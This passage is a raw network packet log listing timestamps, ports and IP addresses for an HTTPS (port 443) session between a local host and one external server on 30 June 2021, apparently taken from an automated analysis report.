Jun 30, 2021 20:06:08.420617104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420624018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420629978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420639038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420653105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420665979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420681000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420682907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420701981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420711994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420716047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420731068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420748949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420749903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420773029 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420808077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420810938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420860052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420923948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420973063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.421035051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.421080112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.422679901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422715902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422729969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422743082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422760963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422774076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422787905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422806025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422817945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422835112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422853947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422872066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422887087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422907114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422924042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422943115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422959089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422975063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.422992945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423005104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423017025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423033953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423049927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423063040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423080921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423094034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423110962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423141003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423154116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423171043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423172951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423187017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423204899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423242092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423244953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423252106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423259974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423283100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423295975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423316002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423321962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423330069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423341990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423356056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423362970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423372984 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423381090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423386097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423401117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423408031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423418045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423435926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423449039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423465014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423480034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423491001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423505068 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423507929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423512936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423522949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423528910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423546076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423557043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423558950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423576117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423587084 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423605919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423618078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423619986 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423631907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423650026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423655987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423666000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423679113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423692942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423696995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423710108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423727989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423727989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423741102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423753977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423758030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423770905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423788071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423789024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423825026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423841000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423856974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423860073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423882961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423899889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423909903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423916101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423918009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423933983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423947096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423963070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423979044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.423990011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.423995018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.424006939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.424009085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.424022913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.424038887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.424056053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490489006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490544081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490570068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490591049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490609884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490638018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490664005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490677118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490683079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490695000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490701914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490717888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490740061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490744114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490762949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490770102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490791082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490798950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490813971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490832090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490837097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490860939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490861893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490889072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490892887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490917921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490920067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490940094 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490942955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490963936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490976095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.490989923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.490997076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491012096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491022110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491036892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491044998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491070986 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491080999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491087914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491097927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491134882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491144896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491166115 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491173029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491189003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491198063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491225958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491246939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491250038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491276979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491280079 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491283894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491291046 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491302013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491322041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491329908 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491349936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491350889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491367102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491378069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491404057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491411924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491427898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491446018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491452932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491480112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491481066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491503954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491513014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491530895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491532087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491555929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491559982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491569996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491585970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491609097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491611004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491636992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491640091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491655111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491662025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491678953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491687059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491705894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491718054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491730928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491738081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491755009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491755962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491775036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491775036 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491795063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491803885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491820097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491832972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491842031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491858006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491883039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491884947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491906881 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491909027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491928101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.491934061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491956949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491976023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.491976023 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492002964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492005110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492028952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492036104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492050886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492072105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492075920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492095947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492105007 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492120981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492137909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492147923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492168903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492173910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492197037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492199898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492218971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492219925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492237091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492249012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492265940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492274046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492286921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492295980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492311954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492321014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492346048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492352962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492368937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492387056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492394924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492414951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492427111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492439032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492446899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492464066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492480040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492490053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492510080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492513895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492537022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492537975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492552042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492567062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492590904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492592096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492608070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492614985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492629051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492640018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492662907 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492665052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492686033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492690086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492705107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492714882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492733955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492749929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492755890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492779016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492782116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492803097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492813110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492826939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492834091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492850065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492854118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492873907 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492877960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492903948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492907047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492925882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492928982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492945910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.492954016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492974043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.492985964 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493000984 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493009090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493026018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493047953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493051052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493072033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493098974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493103027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493130922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493135929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493155956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493165016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493180037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493186951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493206024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493213892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493230104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493231058 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493253946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493253946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.493273973 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.493278980 CEST	443	49720	212.2.198.90	192.168.2.3
